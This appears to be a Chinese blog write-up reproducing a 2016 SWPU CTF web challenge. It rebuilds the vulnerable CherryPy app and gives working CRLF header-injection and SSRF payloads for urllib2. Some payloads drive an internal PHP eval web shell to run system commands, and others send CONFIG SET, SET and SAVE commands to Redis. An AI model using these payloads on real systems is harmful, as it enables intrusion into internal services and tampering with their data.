2016 SWPU比赛结束了,但是web7还是有点没有搞太懂,于是根据官方的wp来复现了一下,官方的wp地址:http://bobao.360.cn/ctf/detail/174.html
首先搭建环境,要安装的依赖是python的:cherrypy和redis(cherrypy的安装可以直接:pip install cherrypy,如果网速比较慢,可以下载我上传好的压缩包:http://download.csdn.net/detail/niexinming/9672396)
两个依赖都搭建好之后就,来搭建后台环境(后台环境是我根据官方的wp的描述自己写的)
首先web7.py
__author__ = 'niexinming'
#coding=utf-8
import cherrypy
import urllib2
import redis
class web7:
@cherrypy.expose
def index(self):
return ""
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"
"
except Exception,e:
reheaders="错误"+str(e)
file=file.replace("",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re="flag{this_is_func}"
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("",re)
return file
cherrypy.quickstart(web7(),'/web7')
然后:index.html
index
login
login
Admin Login
如果要运行这个网站的话,直接python web7.py,然后访问:http://localhost:8080/web7/input ,就可以了
官方说有个脚本一直在修改redis的密码,changepassword.py
__author__ = 'niexinming'
import redis
import random
import time
while(1):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
password="".join(random.sample('abcdefghijklmnopqrstuvwxyz!@#$%^&*()',10))
r.set("admin",password)
time.sleep(3)
然后根据一个python头部注入的文章来实验:http://www.tuicool.com/articles/2iIj2eR
我发现有几个点很有趣,首先文章说:攻击者可以注入一个额外的完整的HTTP请求头,
给出的例子是(提示:下面说的所有例子数据之间放入输入框点提交就行,不需要额外编码)
http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo
我想能不能用注入的第二次post请求来攻击一个内网的网站,假设的场景是内网有个服务器已经有一个一句话木马了(@eval($_POST["a"]);),我能不能post一个指令去攻击呢?
我的攻击指令是:system('ls > test.txt');
我构造的代码:
http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2feval.php%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Type%3Aapplication%2fx-www-form-urlencoded%0d%0aContent-Length%3a%2026%0d%0a%0d%0aa%3Dsystem%28%27ls%20%3E%20llll.txt%27%29%3B%0d%0a:12345/index.php
label empty or too long
而且没有任何执行成功的痕迹
我尝试把注入的代码中的:Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a 去掉,发现没有报错了,但是还是没有执行成功的痕迹我很郁闷,在shell中加入了一段代码:$data = file_get_contents("php://input");file_put_contents("test1.txt",$data); 在请求去掉Content-Type%3Aapplication%2fx-www-form-urlencoded%0d%0a,发现test1.txt得到了post的原始数据,但是$_POST却没有任何反应,后来我查了资料说:
application/x-www-form-urlencoded: 窗体数据被编码为名称/值对。这是标准的编码格式。 multipart/form-data: 窗体数据被编码为一条消息,页上的每个控件对应消息中的一个部分。 text/plain: 窗体数据以纯文本形式进行编码,其中不含任何控件或格式字符。
补充
form的enctype属性为编码方式,常用有两种:application/x-www-form-urlencoded和multipart/form-data,默认为application/x-www-form-urlencoded。 当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2...),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。 如果没有type=file的控件,用默认的application/x-www-form-urlencoded就可以了。 但是如果有type=file的话,就要用到multipart/form-data了。浏览器会把整个表单以控件为单位分割,并为每个部分加上Content-Disposition(form-data或者file),Content-Type(默认为text/plain),name(控件name)等信息,并加上分割符(boundary)。(来自:http://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html)
而且php的$_POST死认Content-Type:application/x-www-form-urlencoded,没有这个http头部字段就不会从post中拿出数据,我不死心啊,如果去掉这个字段的话能不能让asp得到post的数据,结果是,不能!!!!
sad
没有办法,如果你内网的shell写成只能从post得到数据并执行的也只能认栽了!!
但是$_GET没有什么特别限制,如果你的shell是这么写的@eval($_GET["a"]);,那么你可以:
http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aGET%20%2feval.php%3Fa%3Dsystem%2528%2527ls%2520%253E%2520hehe.txt%2527%2529%253B%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0a:80/index.php
这样,通过注入得到的get请求就可以让shell执行起来了(虽然这样干有点智障,但是:要时刻保持一个好奇的心很重要!!!!)
后面说一下跟这个题目的题解:当我用官方给的给的头部注入的代码来实验:
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo
发现这个代码直接放进输入框的时候报错:
label empty or too long
但是:
我如果把过程拆开来写的话就能成功:
改变数据库的保存位置:
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo
最后只要不断发上面这个改变数据的请求代码,然后用admin做密码来登陆就能拿到flag了